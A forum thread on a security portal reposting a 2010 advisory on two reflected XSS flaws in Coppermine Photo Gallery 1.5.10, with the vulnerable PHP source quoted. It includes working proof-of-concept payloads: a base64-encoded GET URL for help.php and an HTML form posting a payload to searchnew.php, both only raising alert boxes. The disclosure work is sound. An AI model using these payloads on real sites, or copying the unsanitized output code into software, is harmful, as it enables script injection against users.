Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
August 26, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 231
Members: 0
Total: 231
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Coppermine Photo Gallery -> [waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10
Post new topic  Reply to topic View previous topic :: View next topic 
[waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10
PostPosted: Tue Dec 28, 2010 8:55 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Fresh security advisory is out:

http://www.waraxe.us/advisory-79.html

Code:


[waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10
==============================================================================

Author: Janek Vind "waraxe"
Date: 28. December 2010
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-79.html


Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Coppermine is a multi-purpose fully-featured and integrated web picture gallery
script written in PHP using GD or ImageMagick as image library with a MySQL backend.

http://coppermine-gallery.net/


Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against Coppermine version 1.5.10. Research showed, that
all versions in 1.5.x branch, including 1.5.1_alpha, are vulnerable as well.

###############################################################################
1. Reflected XSS in "help.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameters "h" and "t"
Preconditions: none

Source code snippet from vulnerable script "help.php":
-----------------[ source code start ]---------------------------------
if ($superCage->get->keyExists('base')) {
    $base = $superCage->get->getInt('base');
...
if ($superCage->get->keyExists('h')) {
    $header = $superCage->get->getEscaped('h');
...
if ($superCage->get->keyExists('t')) {
    $text = $superCage->get->getEscaped('t');
...
if ($base != '') {
    // content of header and text have been base64-encoded - decode it now
    $header = @unserialize(@base64_decode($header));
    $text = @unserialize(@base64_decode($text));
}
...
if ($header != '') {
    $content = '<h1>'.$header.'</h1>';
    $content .= $text;
...
echo <<< EOT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
...
        <div id="cpg_main_block">
            $string
            $content
-----------------[ source code end ]-----------------------------------

As seen above, user-provided data is base64 decoded and then used for html
output. No sanitization of potentially dangerous data, therefore Reflected XSS
security vulnerability exists in specific php script.

Example exploit:

http://localhost/cpg.1.5.10/help.php?base=1
&h=czozMzoiPHNjcmlwdD5hbGVydCgnaGVhZGVyJyk7PC9zY3JpcHQ%2bIjs
&t=czozMToiPHNjcmlwdD5hbGVydCgndGV4dCcpOzwvc2NyaXB0PiI7


###############################################################################
2. Reflected XSS in "searchnew.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted POST parameter "picfile_*"
Preconditions:
  1. user must be logged in as Coppermine admin
  2. XSS payload charset is somewhat limited, little bit of creativity needed


Source code snippet from vulnerable script "searchnew.php":
-----------------[ source code start ]---------------------------------
if (!GALLERY_ADMIN_MODE) {
    cpg_die(ERROR, $lang_errors['access_denied'], __FILE__, __LINE__);
...
if ($superCage->post->keyExists('insert')) {
      if ($superCage->post->keyExists('pics')){
         $pics = $superCage->post->getAlnum('pics');
...
         foreach ($pics as $pic_id) {
...
           $picfile = $superCage->post->getAlnum('picfile_'.$pic_id);
           $pic_file = base64_decode($picfile);
...
           $file_name = basename($pic_file);
...
echo '<td class="'.$rowStyle.'" valign="middle" align="left">'.$file_name.'</td>'
-----------------[ source code end ]-----------------------------------

As seen above, user-provided POST parameter "pics_*" is base64 decoded
and then processed by php function basename(). Finally it is used for
html output. As in previous vulnerability, attacker is able to use base64
encoding for XSS payload obfuscation. What differs from previous case, is
the use of basename() function. Thanks to this function, XSS payload charset
is somewhat limited. Still, specific Reflected XSS vulnerabilty is exploitable.

Example exploit (Coppermine admin privileges needed):
-----------------------------------------------------------------------
<html><body><center>
<form action="http://localhost/cpg.1.5.10/searchnew.php" method="post">
<input type="hidden" name="insert" value="1">
<input type="hidden" name="pics[]" value="222">
<input type="hidden" name="picfile_222" value="PGJvZHkgb25sb2FkPWFsZXJ0KDEyMyk7Pg">
<input type="submit" value="Test!">
</form>
</center></body></html>
-----------------------------------------------------------------------


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, Chb,
vince213333, to all active waraxe.us forum members and to anyone else who know me!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------

View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Dec 28, 2010 1:17 pm Reply with quote
pexli
Valuable expert
Valuable expert
 
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Waraxe проснулся из зимнего сна.Smile)))))))))
View user's profile Send private message
PostPosted: Tue Dec 28, 2010 1:35 pm Reply with quote
VERTIGO
Advanced user
Advanced user
 
Joined: Sep 25, 2008
Posts: 87




Good work waraxe
View user's profile Send private message
PostPosted: Tue Jan 04, 2011 10:36 pm Reply with quote
julioisaias
Valuable expert
Valuable expert
 
Joined: Jan 25, 2008
Posts: 51
Location: Ciudad del Este, Paraguay




Great waraxe... Smile

_________________
I study enough to make the rest a result.
View user's profile Send private message
[waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10
  www.waraxe.us Forum Index -> Coppermine Photo Gallery
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.062 Seconds